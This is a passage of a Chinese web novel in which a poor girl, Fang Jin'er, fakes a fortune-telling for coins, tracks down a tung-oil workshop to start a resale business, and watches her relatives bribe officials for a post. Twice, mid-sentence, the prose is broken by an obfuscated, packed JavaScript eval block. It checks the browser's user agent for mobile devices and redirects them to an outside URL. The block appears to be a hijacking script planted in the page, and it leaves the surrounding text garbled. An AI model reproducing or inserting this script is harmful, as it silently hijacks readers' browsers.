围观的人群起初只当是个玩笑，哪知还真让这脏兮兮的小女娘卜中了一道，皆觉得甚是奇妙，又见那茶博士“哎哟哎哟”地爬起身，笑得愈发高兴，有钱喝茶的不缺这两文，干脆给房锦儿赏一个，给那茶博士也扔一个，图个乐呵。 房锦儿笑眯眯地接着，不多时便接了十来个铜子儿，摇起来哗啦哗啦响。 小逸哥儿和小锦云才是看呆了，两双黑葡萄似的大眼睛瞪得溜圆，仿佛不敢相信眼前所见。 这真是他们的阿姐吗？什么时候会卜算的？怎地随口说了几句就当真赚着了钱？ 小锦云手中还攥着几颗五香蚕豆，这时都不香了，想也不想便塞给自家阿兄，道：“你拿着。”说罢便蹬着小腿儿跑过去拉阿姐的衣角：“阿姐阿姐，铜钱！” 房锦儿笑着谢过了一众看客的赏，待见众人都忙着交头接耳，再无人扔钱了，这才快速数了数手中的铜板，整整十三个！ 还不错。 她掂了掂，取出一个放进盛蚕豆的簸篮里，算是蚕豆钱，又给刚彻底站起身来的茶博士拱了拱手，道了句“多有得罪”，这才转身拢住两个小的，趁乱离开。 那茶博士本是不悦的，却见摔这一跤还得了额外的赏钱，狼狈也不计较了，“嘿嘿”地揉着腰，又上厨间拎茶去了。 一时热闹终于安静下来些，待到又过了片刻，吃茶的人中忽有人“诶”了一声，道：“方才那小乞儿是不是说……房家女娘是个’禄劫同宫’之命，房家谋财害人，以后恐怕要自食余殃？” “好像是这般说的。” 有人突然反应过来了：“她既能说准了茶博士要当众跌跤，难不成，这也是真的？” - 脚店后头有条岔路，沿着向北走上两刻，便是大安坊正儿八经的商市所在。 所谓商市，其实便是大安坊中心的几条巷口汇聚之处，因着位置好，再加上街道宽敞，行车通畅，茶坊酒肆多开在附近，人来得多了，面馆食摊儿便跟着春笋似地冒，售卖各类穿戴用度、纸笔药材等铺子也就逐渐一应俱全了。 此时正值日央，乃是穷人家女娘们饭后采买、富人家贵姐儿们休闲消遣的时候。房锦儿三人瘦削，混在熙熙攘攘的人群之中，倒也不甚引人注意，反而行得十分自在。 房锦儿窝着手心，手心里盛着铜钱，小锦云还不及房锦儿腰高，两手坠在她胳膊上，一蹦一跳地吵着要看铜板，房锦儿便只好猫着腰走，把手心伸到她眼前。 姐妹俩一个“哇，哇”地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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流言这东西就像野草种子，随手往土里一撒，只消不经意间一场小雨，随时便能冒出芽来。 “这便是我要你们穿旧衣出门的缘故了，”她道，“你想想，谁会真与三个小乞儿计较呢。” 说话间，三人正好行至一溜食肆饭铺门前，见有几家门上挂着’招工’的牌子，房锦儿便进去打听。一问，要么是只需能扛货的青壮，要么需得有庖厨的经验，还有一家一见她那副脏兮兮的模样，抬手便将人推搡出来。 两小只气得冲过去挡在她面前，逸哥儿甚至扬起了拳头。 房锦儿倒是不在意，她本也没真想去食店里头做帮工，赚太少。但见两个小的与阿姐情深，心中还是有些感触，干脆一左一右牵了，道：“罢了，咱们去那边的百货摊子上瞧瞧。” 百货摊子不止一家，十来家连成一条，卖的是些日用杂货，从针线瓦罐到澡豆绒花皆有，大都是从作坊挑进城来卖的，东西品式繁杂，每种数量却不多。 房锦儿捡着感兴趣的挨个问价，一边在心中盘算着利润和本钱，一边观摩着摊贩的表情，猜着利润大的，便张口一通还价，试探那底价究竟如何。 还到后头，几个摊贩皆不乐意了，轰她道：“我说你这小乞儿到底买是不买？不买休来捣乱，小心我揍你，走走走，赶紧一边儿去！” 房锦儿把货丢回摊上：“不买。”拉着锦云和逸哥儿要走。 正在这时，忽听有人叫道：“来了来了！总算来了！” 房锦儿循声去望，见是个包着青布头巾的中年货郎，脚穿布鞋，背一个木头货箱，口中笑嘻嘻说着“莫急莫急、都有都有”，身后还跟着几个摩拳擦掌的半大俊哥儿，像是迫不及待要买货。 房锦儿来了兴致，跟上前去准备看看他售的是什么好东西。哪知背后突然有人撞来，房锦儿一时没稳住，手里的十几枚铜钱“哗啦”撒了一地。 5. 第 5 章 “实在对不住啊。” 绿衣书生背上背着细竹编成的书箱，弯腰趴在地上，从来来往往的人群脚下给房锦儿捡钱。他急着买东西，书箱不慎撞到了人。 铜板骨碌碌滚得四散，书生外加房锦儿姐弟三人狼狈地捡了好一阵，才总算凑齐了数。那书生脸上红一阵白一阵，连连作揖道歉。 房锦儿赶着要去看货郎，无心计较，吹着铜钱上的灰，只道：“算了，郎君以后行路仔细些。” 哪知对方却忽然意外道：“你，你是方才在脚店卜中一道的那个小娘子？” 房锦儿这才抬头看他。 只见他身材清瘦，背上背的是个旧书箱，开合之处的竹子磨成了光亮的黄，一身直裰绿衣洗得发白，靴上也打了补丁。看衣着样貌，境遇大抵比她强不到哪去。 房锦儿不记得先前的看客中有这么一号人，道：“郎君看见了？” 那书生眼中喜色难掩，点起头来，道：“有幸见识小娘子奇才，真可谓神乎其神！娘子话音方落，那茶博士便应声而跌，简直绝了！” 他说着便去解腰上的钱袋，急急道：“不知我与小娘子路遇二回算不算得上缘分？可否赏脸为我卜上一道？就卜学业！” 原是要请她卜卦。 书生一双凤眼亮极了，衬得旧衣都鲜艳不少。学业二字说得有些激动，眼神坚信不疑，仿佛只要房锦儿开口算他一卦，他明日便能金榜题名。 房锦儿眨眨眼，有些不知当应不当应。逸哥儿也投来个担忧的眼神。 先前那“卦”是怎么算出来的她心中最清楚，那可算不得真正的卜卦，应当算是运气好。运气这东西，好一回，还能好二回？ 可若直接拒绝，又未免太显突兀，传出去，只怕坏了先前埋下的种子。 正举棋不定时，一旁的人群当中冒出个头来，朝这边大声唤道：“你这厮要是敢把钱用去抽马，误了买油，咱俩今夜温不了书，明日月考落选，你我一并回洛州老家去，我让你阿爹揍到你满地找牙！” 房锦儿循声望去，这才发现那青衣的货郎早已被围了个水泄不通，其中大多是书生模样的哥儿郎君，小则十二三岁，大则二十出头，人手拎个陶瓶。明明都该是那温文尔雅之人，此刻却如狼似虎，争先恐后地往那货郎跟前扑。 冒头出来喊人的那个更是被挤得面目青紫，手拎二瓶，两脚叉开死死把住一块地盘，脖子伸得有如棍长，仿佛每多一秒都是煎熬。 那书生咬牙跺了一跺脚，只好与房锦儿遗憾道：“今日碰上买油，实在不巧，但愿改日还能再见小娘子，到时我筹备重金，一定请小娘子卜算！” 说罢冲进人群之中，寻那同砚去了。 房锦儿和逸哥儿同时松了一口气，只有不明就里的小锦云嘟了嘟嘴，她还以为阿姐又能赚来十几文钱呢。她仰头，小手牵着阿姐摇了摇，道：“阿姐别气，咱有十二文，够吃好几日的了。” 殊不知姐弟三人的模样也被不远处，坐在驴车里的蕊娘收入眼中。 “娘子，东西都买好了，咱们走罢？大郎君一直催咱们。” 蕊娘点头，接过递上来的食盒与酒壶，关下了车帘。 - 青衣货郎的货卖得实在是好。房锦儿带着两个小的挤不进去，只好先坐在边儿上听买货的书生们说话，听了一阵，明白了个七七八八。 这货郎卖的是桐油，也就是专门用来点灯的油。 盛都城中本是惯用麻油点灯的，麻油既可燃灯又可食用，但价高，每斤约莫一百六十文。 打从新天子登基后，兴学重考，盛都城内外设立多家学馆书院，扩招生徒，士人应举无视门第，便涌入了大量出身贫寒的书生。 因着是扩招，馆内不予养士钱，这些书生便既要自负食宿，又要花钱采买书籍笔墨，轮到买油点灯时，囊中早已羞涩，只能偶尔打上一瓶，实在没钱，便借着月光，艰难诵书。 于是不知何时起，城中便来了这样的卖油郎，卖起桐油。 相较芝麻油，桐油不可食用，气味重，烟也大，却胜在价钱便宜一半不止，只要七十文一斤，自然合了读书人的需求。一整夜点灯不过十文钱，再省着些，一斤油能用十来天！ 又因着这桐油只有读书人爱用，寻常油铺鲜有售卖，即便有卖，每斤也比货郎手中贵出十几文。 故此，这货郎的油抢手得紧，每回一来便售个精光，来晚些兴许都买不到。 “哼，我在庆州老家时也用这桐油，价钱不过三十一二文，怎地到了这盛都城里，便涨到七十文了？” 房锦儿一边看那货郎喜滋滋地拿漏斗给人量油，一边听个拎着油瓶从人群里狼狈挤出来的书生道。 “你胡言的罢，”那书生身旁跟着两个同砚，也各提着一满瓶油，同砚甲闻言拎起瓶子，放到眼前看了看，“我怎就没见过三十文一斤的桐油。你见过么？” “没有。”同砚乙摇头，“你确信是和这一模一样的？” “我骗你们作甚！”那书生拍胸道，“与你我手中的桐油丝毫不差！” 同砚甲想了一会，道：“那兴许是这桐油产自庆州附近，要运到盛都，路上所费不赀，价钱也就跟着涨高？” 另两人点头：“确有这可能。”三人便提着油走远了。 庆州只卖三十一二文，盛都城中却最低也要七十文？ 这话听在旁人耳中，或许只是奇怪，拿地界不同、价钱不同也就解释了。可听在房锦儿耳中，却立时成了个绝佳的商机。 商者，唯利是也。庆州的油商不会做亏本的买卖，三十文钱便有利可图，岂不是说明，卖七十文，则利润至少翻倍？ 这想法如投石入湖，瞬间在她眼里激起一层晶亮的波澜。 她抬眼去看那货郎，只见他穿的是双黑面布鞋，鞋面尚不算旧，可鞋底已经磨得厉害，即便不抬脚，也能自边缘看出底下定是沾了大片尚未干涸的黄泥。 鞋底磨损带泥，说明行路颇多且是山路，泥水未干，则说明是今日新鲜沾上。 这桐油产自何处她尚不清楚，但庆州距离盛都千里，绝不可能当日徒步往返。 也便是说，若桐油是商贩自庆州运至盛都售卖，定会运进城来分销，不需货郎们奔走。而若这货郎是自个行了远路背油来售，就恰恰说明，离盛都不远处，定有油庄！ 房锦儿随手拉住个买完油的书生：“请问郎君，这位卖油郎是每日都来么？不巧今日没带足钱，不知明日可还能买？” 那书生起先被吓了一跳，后听闻她也要买油，便和善道：“能买，他每日都来此处，只不过要来早些，晚了就卖空了。” 房锦儿又道：“那请问郎君，几时来好？” 书生道：“依我所知，他惯在未正、未末之间来，偶也会提前。小娘子还是未初就来等着更稳妥些。” 房锦儿点头称是，笑着道：“谢过郎君。” 逸哥儿从问话起就一错不错地盯着房锦儿，这会忽然看出了点门道，心中闪过个念头——方才在脚店，他阿姐要上前给茶博士卜算时，也是这幅笑模样！ 他隐隐约约觉得有些不安，生怕阿姐再做什么意料之外的事，下意识紧紧牵住了姐妹两人。 怎料房锦儿除了面上多了一丝兴奋之外，并未再有什么奇怪的举动，她静静地又等了一阵，等到那货郎卖光了油，这才拉着两小只挤上前去，往那空空如也的油坛里瞄了瞄。 “卖空了卖空了！”货郎挥手，“想要油明日再来。” 众人闻言而散，既有抱怨来晚了的，亦有不满油贵的。那货郎冲着几个嫌油贵的书生背影啐了一口，道：“穷酸样，有本事买麻油去！你爹老子的油给你省了百来文，还不知足！” 说罢，乐陶陶地坐下来点钱。就这不到半个时辰的功夫，碎银铜钱已经装了满满三小包，他点了一会，忽觉不对，抬起头来，发现面前还杵着三个脏兮兮的小乞儿。半大的那个正目不转睛看他货箱，另个最小的还眼巴巴盯着他的银两！ 木头货箱里是两个固定在箱底的油坛，坛中盛桐油，箱绳又用犊皮加了宽。除了油坛和量油的斗，还有个巴掌大的竹簸篮，和一块略显粗糙的小木牌。 货郎怒斥一声，挥手道：“做甚！快滚开，你们想偷东西不成！” 房锦儿不怒反笑，朝他掂了掂手里的铜钱，道：“不偷，我有钱。瞧你那木牌怪好看的，看不懂，上头写的什么？” 那木牌二指宽、一指长，上头写着三个字，然皆被簸篮挡了去，房锦儿看不清。 货郎瞧她没有恶意，弱得像根草似的，谅也不敢动什么手脚，遂放下了些戒备，火速收起那木牌，道：“金光门的路引，有什么好看。” “那 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“我想明日出城看看，兴许能找到卖桐油的油庄。若我回来晚了，你跟锦云两个自个儿煮米粥吃，钱藏好，有事就去寻湘娘子帮忙。”房锦儿吃着胡饼，喝完最后一口汤。 城门卯时开，货郎未时来。 也便是说，产油的地方距离盛都城，往返不会超过四个时辰，但也不会少于一个时辰，否则货郎不必带上一块蒸饼作干粮。 加上那块金光门的路引牌子—— 出金光门，行至多两个时辰之处。 房锦儿在心里默默盘算好路线，换上那身半新不旧的好衣裳，早早躺上了草垫子，又拿旧衣作被。小锦云轻轻爬过来抱住她，她把旧衣给锦云匀了匀。 屋里点着几根柴禾，睡觉已经不似原先那么冷了。 - 另一边，房老二的长子房进名乘着驴车返家，进屋便是一脸愁色。 妻子蕊娘从车上下来，接过丫鬟递来的几个食盒，又自个拿下几只白玉酒壶。 “真是糟蹋钱哟！”房老太左氏急得敲腿，一边把这些个好酒好菜往堂屋里的饭桌上搬，一边责怪儿子儿媳浪费银子，“怎不打听好了再买！” 自打上回被房锦儿“假死”一激，房家忧心次子捐官之事受牵连，已经连着三天想用送酒菜的法子给巡检司的孙司正送钱。哪知是回回送，那孙司正回回不在衙门，酒菜交子拿出去又拿回来，花钱不说，还折腾死个人。 房老二也道：“要不咱们就先打住，等孙司正自个来找咱们？我赶明儿再去找找茂昌，请他去寻李大掌柜，总能办成的嘛！” “等等等，再等下去黄花菜都凉了！等到房锦儿那小女娘缓过劲来，去衙门告咱们一桩，我看谁还有本事给利哥儿捐官！” 夏氏把菜碟子往桌上一扔：“不吃了！我还不是为了利哥儿，为了这个家，怎地倒怪起我来了！” 听见提及房锦儿的名字，蕊娘送菜的手微微一顿。 左氏晓得儿媳的脾气，撇了撇嘴不再多说，房老二便去哄媳妇：“谁怪你了，咱家不都听你的么，这点酒菜才几个钱，多买他十日咱也买得起。大不了明日我亲自去送，好不好？” 房进名也道：“就是阿娘，今个虽然没送进去，但我已经打听好了，明日日正，孙司正约了人去衙门谈公事，一准能找着！巡检司有个胥吏是我打点过的，到时我便让他直接送进廨房里，孙司正当着客人的面，断不好拒绝。” 蕊娘的丫鬟凑近她，嘀咕道：“明明是娘子花的钱，怎么成大郎君打点的了……” “怜晴。”蕊娘轻声提醒，怜晴闭上了嘴。 夏氏得了哄，心情转好些，又接着蕊娘手里的菜摆起桌来，道：“蕊娘莫要忙了，去寻一寻利哥儿，叫他回来吃饭。” 房家忙里忙外给次子房进利找差事，房进利却日日不着家，这会还不知在哪个酒楼歌馆里快活呢。 怜晴讶道：“二郎君不知在哪，娘子如何寻得着？” 夏氏道：“还能在哪？坊里一共几家喝酒的地儿？” 怜晴道：“那我去寻罢。” “你去？二郎君能听你一个小丫鬟的？你能叫得回他？” 眼见夏氏又要发作，房进名赶忙捅了捅蕊娘，蕊娘只好放下手中碗筷，道：“那我去了。” 6. 第 6 章 寅时七刻，天色未明，房锦儿已快行到金光门。 金光门开在盛都西城墙，素日多有往来城乡的贩夫走卒通行，她手中没有灯，但快步跟在几架点着火把的骡车后头，倒也不难走。 以房锦儿前世所知，这桐油产自油桐树的桐籽，易种、籽多，压榨起来也相对容易，乃是自古便有的油类之一。 作灯油的用法不常见，恐怕还是因为这朝天子兴学政策所致，更加广泛的用途，应还属工业、船舶与建筑，也不知这朝人民已经运用到什么程度。 房锦儿脚步飞快，越想越是兴致勃勃。 依她看，灯油肯定有得赚，而若是这朝人民尚未发现桐油的更多用法，那大的赚头还在后面呢。 出城没什么规矩，普通百姓抬脚走出去便是了，若非长得太过“瞩目”或是神情异常，或是近日有盗匪作案，守城的卒役兴许都不会看你一眼。 然房锦儿今日有些不巧，碰上四个带刀的黑衣巡检，守在城门两边挨个盘查。女娘、老弱，看着寻常的，只是拿眼睛逡上一逡，便放出去了，但若是身强力壮的、挑担子赶车的，就得挨拦下盘查一遭。 房锦儿无物一身轻，自然简简单单便被放了出去，听见后头的大娘嘀咕道：“这是怎地，出个城还盘查起来了？” 有人回应道：“听说是盛都外头出了人命，你瞧，巡检司并着街道司，城里城外都查得紧嘞。” 那人说着回首撅了撅嘴，示意城门那头还有穿红衣的卒役，与那黑衣的是一同来的。 在这朝，穿红衣的是街道司，专管城内街坊曲巷，而穿黑衣的则是巡检司，管治的便是城郊和官道，两司各负其责，如今这般合作，想也是有大案发生了。 出了金光门就一条向北的大道，房锦儿与同出来的几人行得不远，竖着耳朵听。 又有人道：“说是边境来的流寇入了城了。” “那哪能，”大娘道，“小郎君，可不要自个吓唬自个，咱这盛都城也是流寇敢来的地方？” 有人附和道：“没错，我看亦不能，定远大将军还在咱盛都城里呢。” 那人便道：“嘁，各位要不信，便当我胡说。” 一行人七嘴八舌，如此听了一会，便行到一条分叉路口，笔直的官道蜿蜒成双，一条依旧顺北而上，另一条便伸进山中去。 房锦儿愣在原地，眼瞧着一群人都顺北去了。那大娘走着走着忽见她停住，转头道：“小女娘不识得路？” 房锦儿点头笑笑，顺势道：“头回出城走亲戚，幼时去过，但时间太长，有些记不清了，只记得……” 她想着前世所知有限的油桐习性和模样。 “只记得那亲戚家是做菜油生意的，住在山丘上，顺着这金光门出来朝前走便能到，丘上种了许多绿叶白花的树，树上常结有青果子，很是枝繁叶茂。” 那大娘想了想，笑道：“绿叶白花的树，那可多了去了，但结青果子的，还真不晓得。” 随行几人皆如是说，问路无果，房锦儿决定先朝山中那条岔路去，总归时间还有，走错了还能再走回来嘛。 亦有人劝道：“外头都出人命了，山上恐怕不安全，小女娘要不还是回城里问清楚了再说。” 既已来了，自然没有回去的道理，房锦儿犹豫片刻，还是作别几人，独自上了山。 山路虽也是官道，但许是人迹稀少，年久失修，崎岖又坑洼不平，比起先头的大路着实难走了许多。 房锦儿这具身子尚未恢复完全，本身底子又差，走不多时便气喘吁吁起来，只好跟着林鸟寻了条两拃宽的小溪，坐下捧几捧水来喝。今日还不知要走到何时才能找到那桐油庄，带在怀中的剩胡饼她不敢吃，如此歇了片刻，便又起身赶路。 按那卖油郎出摊的时辰计算，桐油庄距离盛都至多走两个时辰。 房锦儿在空山之中行了不到一个时辰，本以为路途尚远，又想着半天不见一人，或许是走错了也不一定。正犹豫是否还要继续时，忽然听得一声牛吟，树丛中走出个放牛的老汉。 房锦儿先是一惊，待到看清，忙把人叫住，急急说要寻地方买些油。 怎知那老汉很是鄙夷地看她几眼，末了牛鞭子一收，吹胡子道：“你是要寻那个做油的作坊？往那头再走一刻钟，你看见便能晓得。” 房锦儿心中大喜，但又奇怪那老汉为何这般看她，待要细问，老汉已然赶着牛行远了。 房锦儿心说罢了，只要能找到桐油庄，那老汉便是骂她几句又何妨？她喘着粗气，兴冲冲朝着老汉所指又走一段，果然见到绿树白花之下掩着一排青砖瓦房，远看不觉多壮观，可沿着墙根行了好长一阵，竟丝毫不见院门开处。 待到终于寻到油庄正门，房锦儿突然明白了那老汉的眼神。 这桐油庄名唤“北氏桐油”，规模竟是比想象中大出几倍不止。只从外看，青砖乌瓦沿山而立，水磨石墨齐整有序，诸多工匠穿梭其中，盛油的木桶更是一车接一车往外运，还不知里头有多大。 也难怪那山道崎岖难走，空无一人，原是庄子的另一侧有通车大路，只不过不往盛都去，而是朝东通向河南道的莱州、沂州、密州等临海的州郡，这才不为盛都人所熟知。 房锦儿又惊又喜。 惊在这朝的桐油庄比想象中更加成熟，喜在当真被她猜中了不说，还头一回便找对了路。 她围着那庄子大门左右又绕了几圈，越看越喜欢，只觉心中按捺不住地激动，左右不见有人引路，便抓住个从庄里拉油出来的油匠郎君，润了润有些干涸的嘴唇，礼貌道：“头回造访，多有打扰，敢问郎君，贵庄买油当如何啊？” - 与此同时，另一边，房家藏了钱的食盒终是送进了巡检司的大门。 房进名看着买通的胥吏提了食盒进衙门，别提多高兴，搓着手朝蕊娘小跑而来：“嘿嘿，成了成了，这回指定没跑！” 怜晴没好气：“成了成了，这回总算不怕二郎君抢他的浆洗行了。” 蕊娘轻搡她一下，低声道：“不许这样说大郎君。” 怜晴不大服气地嘟了嘟嘴。 衙门里，巡检司司正孙堂和街道司司正牟万里刚刚聊完公事，五脏庙正开始闹饥荒呢，就收到了那食盒。 孙堂面色很是难看。 这几日两司并案，牟万里天天赖在他这儿不走，而他之所以百般推拒房家送来的食盒，一来是房家因为房锦儿的事情，名声实在不好听，二来就是不想让牟万里知道房家捐官的事儿，不想给牟万里分捐官钱。 本来嘛，房家求的是他，凭什么要白给牟万里。 所以他是想着，等案子弄完了，寻摸个人情往来的节骨眼，把人塞进街道司就完事了。 哪知这房家竟如此心急。 牟万里也不是个省油的灯：“孙兄啊，这房家送如此好酒好菜，是……？” 孙堂咬了咬牙，只得把房进利的事大致说了说。 牟万里一听，明白了，眼珠子滴溜溜转了几圈，摸胡子笑道：“那依孙兄看，我这个街道司司副的空职，大约值得几何呐？” 孙堂呵呵两声，心中吐血，一边盘算，一边把房家几口骂了个遍。 说二百贯罢，怕姓牟的嫌少，说五百贯罢，他舍不得，也怕姓牟的反生疑心。这关键是，他那一千贯都还没到手，他拿什么给？ 牟万里看出他举棋不定，干脆笑道：“要不咱们先喝两盏？” 这酒是临江楼的好酒，临江楼乃是盛都最有名的酒楼之一，开在大安坊与安乐坊之间的清明渠上。 便是那“盛都有二宝，桥头临江一壶酒，太白池畔丽人眸”里的“临江酒”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878587|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 需得要有名贴、有银子才能买得到。 像牟万里、孙堂这样的九品官，也不敢说想进便进。房家能买到这盒子酒菜，托的还是蕊娘娘家的福。 牟万里一边从食盒里往外拿酒壶和菜碟，一边试探：“此事我当谢过孙兄才是，孙兄又何必拘束？不过，这房家出手便是临江楼，想必也是富贵人家了？还是孙兄有门道啊，难怪众人都说孙兄财大气粗……” 话里话外暗示钱不能少。 孙堂嘴上打着哈哈，心底暗骂贪得无厌，着手帮着取菜。哪知三层的食盒，取到最后一层时，竟见菜碟子底下压着一张万字柜坊的银钱。 牟万里眼疾手快，抢先抓了去，一看，竟是一千贯整！ “夺少？！” 孙堂大惊失色。 他先是疑惑为何食盒中会有此物，然一拍脑袋，只觉五雷轰顶—— 房家并不知牟万里也在此处，故不可能给姓牟的送钱，那唯一的解释便是，自觉名声不好，怕他反悔，想用这蠢办法逼他收银子！ 难怪他愈拒绝，食盒送得愈勤快。 真是蠢材，蠢笨至极！！ 他赶忙伸手去捉那银钱，却被牟万里“嗖”地抽了回去。 牟万里陡然喜笑颜开：“哎呀孙兄，好呀！这房二郎实在太客气了！好，好好好！既是如此，我定不能错过孙兄一番好意！” 这便是不打算让出来了，好个恬不知耻！ 孙堂气得脸绿如藻，几乎要昏厥过去。 可事已至此，他也不能跟牟万里明抢，毕竟那空职是人家衙门里的，撕破了脸，他可就连半分人情都捞不着了。 那姓牟的也不只是真看不懂他的面色还是装看不懂，只顾道：“司副的事，就如此定了罢！孙兄只管通知他明日来点卯，其余交我便是！” 还说什么“多谢孙兄帮衬”，“以后发财千万莫忘带上我”。 暗指孙堂恐怕也收了不少。 好在为官也有几年，孙堂勉力咬碎了后槽牙，这才没至于当场丢了身份，只能呕血道：“该我请牟兄多多关照才是。” 而后恨恨把这笔账记在了房家头上。 - “四十文一斤？买得越多价钱越低？” “正是。” “多少算多？能低至几何？” “这就要跟我家东家去谈了，我做不了主。” 方才那油匠郎君引着房锦儿找到了个管事的白衣伙计。 伙计手上拿本薄子，一边勾勾画画，指挥油匠们拉车运油，一边抽空应付她。 粗粗看去，油庄里像他这样身着白色的伙计还有许多个，个个都很是忙碌。 房锦儿手头没钱，多问暂且无用。 四十文一斤的价钱虽不如想象中的便宜，甚至比那书生口中的庆州油价还要高，但对比卖油郎七十文一斤的售价，中间足有三十文利润，几乎翻倍，已是相当可观。 一斤赚三十，日售十斤，便是三百。 破落院小屋一个月的赁房钱！ 她决定今日先到此为止：“那便不叨扰郎君了，多谢，我改日再……” 那伙计甚至来不及答应，点着头便走开了。待到房锦儿想起应当问问他叫什么名字，唤了一声，发现对方已经融进了那些个白衣之间，认不出是哪个了。 回城一路，腿脚虽疲，房锦儿却走得十分轻快，几乎是不知不觉之间便来到了城门口。 巡检司和街道司的人还在盘查，进城也比出城更加严些。 因着路途比想象中短了许多，进了城门，也不过刚到巳初。房锦儿暂不准备回家，她想了一路，这桐油生意利大，她喜欢，做定了，可本钱上哪去找？ 她想到了昨日碰见的那个青衣书生。 他不是要算卦么，要不就去给他算上一卦？ 7. 第 7 章 还没到卖油货郎出摊的时辰，房锦儿决定先去附近的学馆书院寻一寻。 找了个面善的书生小郎君打听了一下，得知大安坊近处的学馆共有五家。两家在城内，三家在城郊，安化门外。 “那这五家学馆当中，有否哪家是专收贫寒子弟的？” 房锦儿想起那绿衣书生衣服洗得发白，鞋上又打着补丁，猜想他定不是出自富贵人家。 小郎君笑道：“娘子应当问，如今哪家书馆招收的不是贫寒子弟？” 原是自打科举盛行，学馆书院纷纷扩招，读书入仕便早已不再为权贵所把持，选士不论家世，只要品行端正，一律可以考试入学，成为生徒。 而各学馆内，也不以出身论品学，而是施行四舍制，以考选将学生分作四等，行选察升补之法，旨在让更多有志之士得到取中的机会。 可这样一来，房锦儿想寻人就难了。 她打算先从城里的两家书馆找起。 第一家唤作明经书馆，开在西二大街，大安坊与明昌坊的交界处，是家声名在外的老牌书院，占地颇大。里头祠堂书楼，花园假山，白墙黑瓦，据说住在学馆的内舍生便有近二百，走读的外舍生更是四五百人不止。 房锦儿沿着校外的廊檐转了几圈，想进去，被值守的门子拦住，只得在外头守株待兔似地等了一阵，却不见几人出来，一问，才知马上要到月考。 这月考关系到四舍升补，成绩好的外舍生或可得到免费住校资格，成绩不好的内舍生亦可降为走读，即便是内外舍生中，也有上、中之分，其间师资好坏不一。 总之不仅影响到未来科举，也牵扯到读书的花费，故而学子们人人重视，每逢月考期间，大都埋头复习，不到万不得已不出门。 明经书馆没蹲到，房锦儿转头又去了另一家石泉书院。 去的路上便料想闲人不多，去到之后，果然如此。且这家书院规模不及明经书馆的五分之一，人便显得更发少了。 房锦儿逮住寥寥几个出来的书生，描绘着那人的面貌问了问，皆说不知。 房锦儿心中惋惜，心说早知道昨天便管它三七二十一，先把这笔冤枉钱赚到手。 现在上哪再找个迷信的冤大头？ 摸完两家书馆，已是未中，房锦儿走了大半天的路，脚底就没停过，此时也累得不行了，腹中咕咕作响。 她想了想，再出一次城恐怕是不行了，干脆提脚走到那卖油货郎的小摊儿去。 货郎已经背来了油。 房锦儿在他对过寻了个的铺门，往人家门槛边儿上一坐，掏出坏里的剩胡饼啃起来。一边啃，一边看那油郎做生意，顺便守株待兔找那绿衣郎君。 今个书生们忙着温习，生意比昨日差了不少，但也足够好了。 房锦儿拿眼睛数着，在心里默默算他卖出去的量——一铜角是一合，十角便是一升，买一升多送一丁点儿。 而书生们拎来打油的大多是陶瓶，一瓶能装一升，也有瓶小的，装半升。 六成书生按升买，三成书生只买半升，还有剩下一成，是只买够一、二天的用量。 房锦儿这头看得入迷，对面的油郎透过人群也注意到了她。 起初只是奇怪，为何那小女娘一个劲盯着他看，后来越看越觉眼熟，一想，这不就是昨日问他路引的那个小叫花子么！ 油郎皱了皱眉头，冲房锦儿做了个口型：“看甚么看！” 无奈房锦儿心思都放在打油的顾客身上，丝毫没看见他这番举动。油郎愈发不悦，偏身挡了挡怀中的钱袋子，打算等卖完油再去质问。 然等他卖完，房锦儿已经拍拍屁股走了，回家的路上把剩下的十文赏钱买了两升黍米，拿给进逸和锦云做米粥。 - 第二日一早，房锦儿又出了门，不过不是独自一人，而是带上了进逸和锦云。 两小只昨日没能跟阿姐出去，遗憾得很，今个能跟出门了，模样很是兴奋。 锦云想的是赚了钱能买什么吃食，逸哥儿则更关心房锦儿所说的桐油利润，一路上念念叨叨地掰着指头算：“一斤油，三十文，两斤油，六十文，三斤油，三斤油……” “三斤油乘三。”房锦儿忍不住提示。 “什么叫乘三？”逸哥儿不懂，拧着眉问她，他之前只学过增合相减。 房锦儿试着解释：“唔……乘么，就是积，倍。譬如以二乘三得六，便是三的二倍，两个三相合。以此类推，三乘三得九，三乘四得十二……” “哦……”逸哥儿忙不迭跟着算。 房锦儿这次是准备去城外的三家书馆找一找，碰碰运气。 找得到那绿衣书生，她便大张旗鼓地给他算上一卦，顺便吸引吸引旁人，赚几个本钱。 若是今日再找不到，那她也打算好了。 便从五家书馆当中挑一家生徒最多的，当门一坐，打个“龙门点将，知命达官，仕途定数，仕运何方”的招牌，就地卜卦。 人少那便免费卜，待到人多了便收钱卜，大不了赚够了就跑，反正谁也记不住她。 为此，她还专门洗净了家中那块原本包胡饼的包袱蓝布，准备回头找仵作老丁借笔墨，写成招子用。 姐弟三人过了清明渠，出安化门，顺南而下。 与北边的金光门外不同，安化门外风景更加秀丽，官道沿山丘蜿蜒，道旁绿树成荫，流水涓涓，隐逸而不隐蔽，开阔与清幽并具，颇有文雅意境。 那三家书馆据说就修在这一片青翠之中。 - “大人，房家二郎，哦不，房司副到了。” “牟大人。” 房进利跟着个胥吏进了牟万里的廨房。 牟万里抬头将他打量一遭，只见房进利生得细高，长得也不差，街道司的红衣穿在他身上还显得有些威武，只是那睡眼惺忪的面庞上带着的不屑太明显，让人瞧着就不甚爽快。 牟万里挑了挑嘴角。 街道司他管了七年有余，上值第一天点卯便迟到的，他可还是头一回见。 “昨晚上喝醉了？” “回大人的话，喝醉了。”房进利语气吊儿郎当。 “头一回上值，你不怕起不来？” “起不来，那就不来。” 房进利满脸不在乎。 